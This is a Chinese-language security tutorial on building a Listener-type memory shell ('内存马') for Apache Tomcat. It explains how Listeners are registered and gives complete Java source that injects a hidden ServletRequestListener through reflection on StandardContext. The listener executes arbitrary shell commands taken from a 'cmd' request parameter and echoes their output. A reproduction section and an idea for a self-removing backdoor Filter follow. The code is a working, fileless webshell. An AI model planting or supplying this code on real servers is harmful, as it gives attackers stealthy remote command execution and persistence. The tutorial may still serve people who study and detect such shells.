Java Tomcat内存马——Listener内存马

news2024/11/25 7:13:56

目录

（一）前置知识

0x01 什么是Listener

0x02 Listener的简单案例

0x03 Listener流程分析

 （二）注入分析

(三）实现内存马

得到完整的内存马

(四）漏洞复现

其他的payload:

总结

（一）前置知识

0x01 什么是Listener

监听器 Listener 是一个实现特定接口的 Java 程序，这个程序专门用于监听另一个 Java 对象的方法调用或属性改变，当被监听对象发生上述事件后，监听器某个方法将立即自动执行。

监听器的相关概念：

  • 事件：方法调用、属性改变、状态改变等。
  • 事件源：被监听的对象（ 例如：request、session、servletContext）。
  • 监听器：用于监听事件源对象 ，事件源对象状态的变化都会触发监听器。
  • 注册监听器：将监听器与事件源进行绑定

监听器 Listener 按照监听的事件划分，可以分为 3 类：

  • 监听对象创建和销毁的监听器
  • 监听对象中属性变更的监听器
  • 监听 HttpSession 中的对象状态改变的监听器

0x02 Listener的简单案例

在Tomcat中创建Listener有两种方式：

使用web.xml中的listener标签创建
使用@WebListener注册监听器

我们创建一个实现了javax.servlet.ServletRequestListener接口的类,如图 1-1：

图 1-1 新建的ServletListener.java 

package pres.test.momenshell;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;

public class ListenerTest implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
        System.out.println("destroy Listener!");
    }

    @Override
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
        System.out.println("initial Listener!");
    }
}

将会在请求开始和请求结束分别执行requestInitialized或者requestDestroyed方法中的逻辑，之后再web.xml中配置Listener。

<listener>
    <listener-class>pres.test.momenshell.ListenerTest</listener-class>
</listener>

之后开启tomcat容器,如图 1-2：

图 1-2 配置Listener后启动Tomcat容器

0x03 Listener流程分析

  • 首先给出程序到  requestInitialized  方法之前的调用栈
requestInitialized:14, ListenerTest (pres.test.momenshell)
fireRequestInitEvent:5982, StandardContext (org.apache.catalina.core)
invoke:121, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:698, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:364, CoyoteAdapter (org.apache.catalina.connector)
service:624, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:831, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1673, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)
  • 将会到达 StandardHostValve#invoke 方法,如图 1-3 ：
图 1-3 StandardValue自动调用invoke方法

  • 调用了StandardContext # fireRequestInitEvent方法进行请求初始化
图 1-4 实例化Listener,并调用requestInitialized方法

在其中，程序通过扫描web.xml中得到了对应的实例化对象，因为我们在web.xml中做出了对应的配置，所以我们能够通过if (instance != null && instance instanceof ServletRequestListener)的判断，进而调用了listener的 requestInitialized 方法。

  • 即为我们的 ListenerTest#requestInitialized 方法，如图 1-5：
图 1-5  实例化的对象调用requestInitialized方法

 （二）注入分析

  • 和之前找CC链思路一致，先从ServletContext，找到可以利用点，即addListener有三种重载方式，如图 2-1 ：
图 2-1 ServletContext中的addListener方法

  • 我们先看官网是如何进行解释的，如图 2-2：
     
图 2-2 官网对addListener方法进行解释

  • 跟进api中的注解，能够实现的的监听器有：
    ServletContextListener：用于监听整个 Servlet 上下文（创建、销毁）

    ServletContextAttributeListener：对 Servlet 上下文属性进行监听（增删改属性）

    ServletRequestListener：对 Request 请求进行监听（创建、销毁）

    ServletRequestAttributeListener：对 Request 属性进行监听（增删改属性）

    javax.servlet.http.HttpSessionListener：对 Session 整体状态的监听

    javax.servlet.http.HttpSessionAttributeListener：对 Session 属性的监听

  • 每一种 接口有着不同的方法存在，就比如 ServletRequestListener 这个监听器，如 2-3：

图 2-3 接口ServletRequestListener包含的实现方法

可以观察到 ServletRequestListener 存在有 requestDestroyed 和 requestInitialized 方法进行请求前和请求后的监听，又或者是 ServletRequestAttributeListener 这个监听器，如图 2-4：

图 2-4 ServetRequestAttributeListener中包含的方法

存在有 attributeAddedattributeRemovedattributeReplaced 分别对属性增 / 属性删 / 属性替换做出了监听。

但是这些监听器都是继承同一个接口 EventListener ，我们可以跟进一下 addListener 在Tomcat中的实现在 org.apache.catalina.core.ApplicationContext#addListener 中，如图 2-5：

图 2-5 addListener方法的具体实现

如果这里传入的是一个ClassName，将会将其进行实例化之后判断是否实现了EventListener 接口，也就是是否在监听类中实现了特性的监听器。

  • 如果实现了这个标志接口，将会将其强转为 EventListener 并传入 addListener的重载方法，如图 2-6：
图 2-6 addListener的重载机制

 同样和前面类似，不能在程序运行过程中进行Listener的添加，并且如果的监听器是

  • ServletContextAttributeListener  
  • ServletRequestListener
  • ServletRequestAttributeListener 
  • HttpSessionIdListener
  • HttpSessionAttributeListener

的时候将会通过调用  StardardContext#addApplicationEventListener 添加监听器，又如果是HttpSessionListener ServletContextListener 将会调用 addApplicationLifecycleListener方法进行监听器的添加，通过上面的分析我们不难得到Listener内存马中关于 ServletRequestListener 这个监听器的实现步骤：

  1. 首先获取到 StardardContext 对象
  2. 之后创建一个实现了 ServletRequestListener 接口的监听器类
  3. 再然后通过调用 StardardContext 类的 addApplicationEventListener 方法进行Listener的添加

(三）实现内存马

  • 首先通过循环的方式获取StandardContext对象。
ServletContext servletContext = req.getServletContext();
StandardContext o = null;
while (o == null) { //循环从servletContext中取出StandardContext
    Field field = servletContext.getClass().getDeclaredField("context");
    field.setAccessible(true);
    Object o1 = field.get(servletContext);

    if (o1 instanceof ServletContext) {
        servletContext = (ServletContext) o1;
    } else if (o1 instanceof StandardContext) {
        o = (StandardContext) o1;
    }
}
  • 之后创建一个监听器类, 我这里同样是一段任意代码执行的构造，通过reponse写进行回显操作
class Mylistener implements ServletRequestListener {

    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
        ServletRequest request = servletRequestEvent.getServletRequest();
        if (request.getParameter("cmd") != null) {
            try {
                String cmd = request.getParameter("cmd");
                boolean isLinux = true;
                String osType = System.getProperty("os.name");
                if (osType != null && osType.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(inputStream).useDelimiter("\\a");
                String output = s.hasNext() ? s.next() : "";
                Field request1 = request.getClass().getDeclaredField("request");
                request1.setAccessible(true);
                Request request2 = (Request) request1.get(request);
                request2.getResponse().getWriter().write(output);
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NoSuchFieldException e) {
                e.printStackTrace();
            } catch (IllegalAccessException e) {
                e.printStackTrace();
            }
        }
    }

    @Override
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {

    }
}

  • 最后当然就是将Listener添加
Mylistener mylistener = new Mylistener();
//添加listener
o.addApplicationEventListener(mylistener);

得到完整的内存马

package pres.test.momenshell;

import org.apache.catalina.connector.Request;
import org.apache.catalina.core.StandardContext;

import javax.servlet.*;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;

public class AddTomcatListener extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doPost(req, resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try {
            ServletContext servletContext = req.getServletContext();
            StandardContext o = null;
            while (o == null) { //循环从servletContext中取出StandardContext
                Field field = servletContext.getClass().getDeclaredField("context");
                field.setAccessible(true);
                Object o1 = field.get(servletContext);

                if (o1 instanceof ServletContext) {
                    servletContext = (ServletContext) o1;
                } else if (o1 instanceof StandardContext) {
                    o = (StandardContext) o1;
                }
            }
            Mylistener mylistener = new Mylistener();
            //添加listener
            o.addApplicationEventListener(mylistener);
        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }
    }
}
class Mylistener implements ServletRequestListener {

    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
        ServletRequest request = servletRequestEvent.getServletRequest();
        if (request.getParameter("cmd") != null) {
            try {
                String cmd = request.getParameter("cmd");
                boolean isLinux = true;
                String osType = System.getProperty("os.name");
                if (osType != null && osType.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(inputStream).useDelimiter("\\a");
                String output = s.hasNext() ? s.next() : "";
                Field request1 = request.getClass().getDeclaredField("request");
                request1.setAccessible(true);
                Request request2 = (Request) request1.get(request);
                request2.getResponse().getWriter().write(output);
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NoSuchFieldException e) {
                e.printStackTrace();
            } catch (IllegalAccessException e) {
                e.printStackTrace();
            }
        }
    }

    @Override
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {

    }
}

(四）漏洞复现

  • 先编写测试类IndexServlet
public class IndexServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doPost(req, resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String message = "Tomcat project!";
        String id = req.getParameter("id");

        StringBuilder sb = new StringBuilder();
        sb.append(message);
        if (id != null && id != null) {
            sb.append("\nid: ").append(id); //拼接id
        }
        resp.getWriter().println(sb);
    }
}
  • 将会对传入参数id进行回显，之后配置 addTomcatListener 路由的Servlet进行内存马的注入，如图 4-1。
图 4-1 最开始进行访问id进行显示
  •  访问 addTomcatListener 路由进行内存马的注入,如图 4-2：
图 4-2 访问addTomcatListener内存马注入

  • 再次访问/index并传入cmd参数，如图 4-3：
图 4-3 cmd命令成功回显

发现不仅仅回显了我传入的id参数，同样进行了命令的执行。

其他的payload:

在api中支持的监听器中，还有很多其他的监听器可以进行内存马的实现，这里仅仅是对其中一个比较方法的监听器进行了说明。

比如说 ServletRequestAttributeListener 这个监听器，在分析注入那里也有所提及，我们通要可以将我们的恶意代码插入在如图 4-4 中：

图 4-4 ServletRequestAttributeListener注入方法

这些方法中进行对应的操作进行内存马的触发。

根据su18提供的一种攻击思路：

由于在 ServletRequestListener 中可以获取到 ServletRequestEvent，这其中又存了很多东西，ServletContext/StandardContext 都可以获取到，那玩法就变得更多了。可以根据不同思路实现很多非常神奇的功能，我举个例子：

  • 在 requestInitialized 中监听，如果访问到了某个特定的 URL，或这次请求中包含某些特征（可以拿到 request 对象，随便怎么定义），则新起一个线程去 StandardContext 中注册一个 Filter，可以实现某些恶意功能。

  • 在 requestDestroyed 中再起一个新线程 sleep 一定时间后将我们添加的 Filter 卸载掉。

        这样我们就有了一个真正的动态后门，只有用的时候才回去注册它，用完就删

总结

我们在这里总结一下这三种的执行顺序和特性，他们的执行顺序分别是 Listener > Filter > Servlet

  • Servlet ：在用户请求路径与处理类映射之处，添加一个指定路径的指定处理类；
  • Filter：在用户处理类之前的，用来对请求进行额外处理提供额外功能的类；
  • Listener：在 Filter 之外的监听进程。

总的来说Listener内存马比前两篇的危害更大，更具有隐藏性，且能够有更多的构造方式。最后，贴一下我总结的内存马编写流程

  1. 首先获取到StardardContext对象

  2. 之后创建一个实现了ServletRequestListener 接口的监听器类

  3. 再然后通过调用StardardContext类的addApplicationEventListener方法进行Listener的添加

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